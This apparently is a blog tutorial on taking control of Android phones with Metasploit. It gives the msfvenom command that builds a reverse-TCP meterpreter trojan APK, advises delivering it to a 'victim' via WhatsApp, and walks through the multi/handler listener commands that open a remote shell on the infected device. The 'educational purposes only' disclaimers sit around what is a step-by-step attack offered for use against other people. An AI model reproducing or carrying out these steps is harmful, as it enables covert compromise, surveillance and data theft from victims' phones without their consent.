How to Hack Android with Linux

Hack any android with Linux!!!!




Hey friends welcome here, in this tutorial I am gonna show you how you can simply hack any android device with some simple Linux commands.

"Visit my Website for amazing python tutorials"

In this hacking we are going to use the most famous framework, I think you guessed it.
All right it's Metasploit Framework. It is one of the most widely used framework for hacking.

What is Metasploit?

The Metasploit Framework is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute exploit code. The Metasploit Framework contains a suite of tools that you can use to test security vulnerabilities, enumerate networks, execute attacks, and evade detection.

This is only for educational purpose.

Logic behind this hacking.The main thing to learn is Logic behind any thing

  • First of all we will create a Trojan apk with help of msfvenom.
  • This is the main root of hacking.
  • now we have to send this apk to the victim and get installed in it's android.
  • Here we will create a payload through which we can gather as much information.
  • Through this payload we can do anything with that Android by giving simple commands in our Linux terminal.

  • Requirements:

  1. Of course, a PC with Linux OS. 
                  That's it one PC with Linux is is enough to hack any android device  !!!!!


 Let's  get started.

  1. Open your Linux terminal.
  2. Here we have to create a trojan apk. so create it by giving command
    "# msfvenom -p android/meterpreter/reverse_tcp LHOST=<your ip address> LPORT=4444 R> /root/Desktop/trojan.apk", This command will create a trojan apk at Desktop of your PC, you can place it anywhere.
  3. After creating this apk, Now you have to send this apk to the victim. it's  your choice how creatively you send it to the victim. either you can send it by taking it in your phone and sending it with the help of WhatsApp.
  4. Once you send this apk to the victim. Now we have to create a payload.
  5. For that open another terminal and type "# msfconsole".it will start the metasploit framework on your terminal.
  6. Here we will create the payload by executing an command,
    "# use exploit/multi/handler".
  7. Now we have to set up a payload by typing,
    "# set payload/android/meterpreter/reverse_tcp".
  8. After that set your ip address by typing,
    "# set LHOST <your ip>".
  9. Set lport type by typing,
    "# set LPORT 4444". 
                                                                                                                   
  10. Finally, type "# exploit" to start the metasploit server.
  11. Yups, Here you will get a meterpreter.
  12. At this stage if you write "# ? " you will get a lot of commands that you can use.
  13. Here I am gonna check if the device is rooted or not., by typing
    "# check_root".
Here you will get a number of commands if you type "?" and press enter. You must try them all.

Don't misuse this trick, it is only for educational purposes 

Comments

Post a Comment